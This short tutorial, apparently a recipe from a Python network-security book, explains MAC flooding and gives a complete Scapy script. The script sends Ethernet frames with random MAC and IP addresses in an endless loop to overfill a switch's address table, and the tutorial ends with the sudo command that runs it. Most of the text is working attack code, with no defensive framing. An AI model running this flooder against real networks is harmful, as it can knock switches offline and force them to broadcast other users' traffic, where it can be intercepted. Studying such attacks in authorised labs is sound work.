MAC flooder
We can fill the MAC address store of a router by sending random Ethernet traffic over the network. This may lead to the malfunction of the switch, and may start sending all the network traffic to everyone connected to the router, or it may fail.
How to do it...
Here are the steps to flood MAC address store in a router:
- Create a
mac-flooder.py
file and open in your editor. - Import the required modules:
import sysfrom scapy.all import *
- Define the
interface
to flood. We could also get it from the arguments:
interface = "en0"
- Create the packets with random MAC IDs and random IPs:
pkt = Ether(src=RandMAC("*:*:*:*:*:*"), dst=RandMAC("*:*:*:*:*:*")) / \ IP(src=RandIP("*.*.*.*"), dst=RandIP("*.*.*.*")) / \ ICMP()
The packet structure will be as follows:

- Finally, send the packets in an infinite loop:
try: while True: sendp(pkt, iface=interface)except KeyboardInterrupt:print("Exiting.. ")sys.exit(0)
- Now run the file with required permission:
sudo python3 mac-flooder.py